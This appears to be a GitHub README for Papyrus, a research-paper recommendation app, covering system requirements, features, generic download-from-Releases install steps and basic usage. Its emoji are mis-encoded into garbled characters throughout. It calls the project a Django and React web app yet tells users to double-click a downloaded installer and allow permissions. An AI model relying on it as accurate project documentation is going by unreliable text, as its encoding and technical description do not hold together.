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πŸ“š Discover relevant research papers with Papyrus, an NLP-powered recommendation system that connects users to the latest academic insights.

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πŸ“ Papyrus - Find Relevant Papers Easily

πŸš€ Getting Started

Welcome to Papyrus! This application helps you discover relevant research papers effortlessly using advanced recommendations. Follow these easy steps to get started.

πŸ”— Download Papyrus

Download Papyrus

πŸ’» System Requirements

Before you download, ensure your system meets these requirements:

  • Operating System: Windows 10 or later, macOS 10.14 or later, or any Linux distribution.
  • RAM: 4 GB or more.
  • Storage: At least 500 MB of free space.
  • Internet Connection: Required for downloading data and updates.

πŸ” Features

Papyrus offers the following features:

  • Intelligent Recommendations: Uses Natural Language Processing (NLP) to analyze your interests and suggest papers.
  • Easy Navigation: A user-friendly interface that helps you find papers quickly.
  • Diverse Topics: Covers various fields in research, from data mining to application development.
  • Save for Later: Bookmark papers to revisit at your convenience.

πŸ“₯ Download & Install

To download Papyrus, click the link below to visit the Releases page and select the latest version:

Visit the Papyrus Releases Page

  1. On the Releases page, find the latest version.
  2. Click the download link for your operating system.
  3. Once the file is downloaded, locate it in your downloads folder.
  4. Double-click the file to start the installation process.
  5. Follow the installation prompts to complete the setup.

🎨 Setting Up Papyrus

After installing, launch Papyrus by following these steps:

  1. Locate the Papyrus application on your desktop or in your applications folder.
  2. Click to open it.
  3. If prompted, allow any permissions required for optimal functionality.

πŸ“„ Using Papyrus

Now you're ready to start using Papyrus!

  1. Sign Up: Create an account or log in to begin.
  2. Input Interests: Enter your research interests to receive personalized recommendations.
  3. Browse Recommendations: Explore the list of suggested papers that Papyrus curates for you.
  4. Read and Save: Click on any paper's title to read more and save it for future reference.

🌐 Support

If you encounter any issues or have questions, you can reach out for support:

  • GitHub Issues: Report an issue here.
  • Community Forums: Join discussions and ask for help from other users.

❀️ Contributing

We welcome contributions to Papyrus! If you'd like to contribute, please check out the guidelines on our GitHub page.

πŸ“š Learn More

Interested in the technology behind Papyrus? Here are some topics related to the project:

  • Django: The backend framework used to handle requests and data.
  • React: The frontend library that powers the user interface.
  • Data Analysis: Techniques used to process and recommend papers.

Explore these areas to understand how Papyrus works.

Thank you for trying out Papyrus! Happy researching!

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πŸ“š Discover relevant research papers with Papyrus, an NLP-powered recommendation system that connects users to the latest academic insights.

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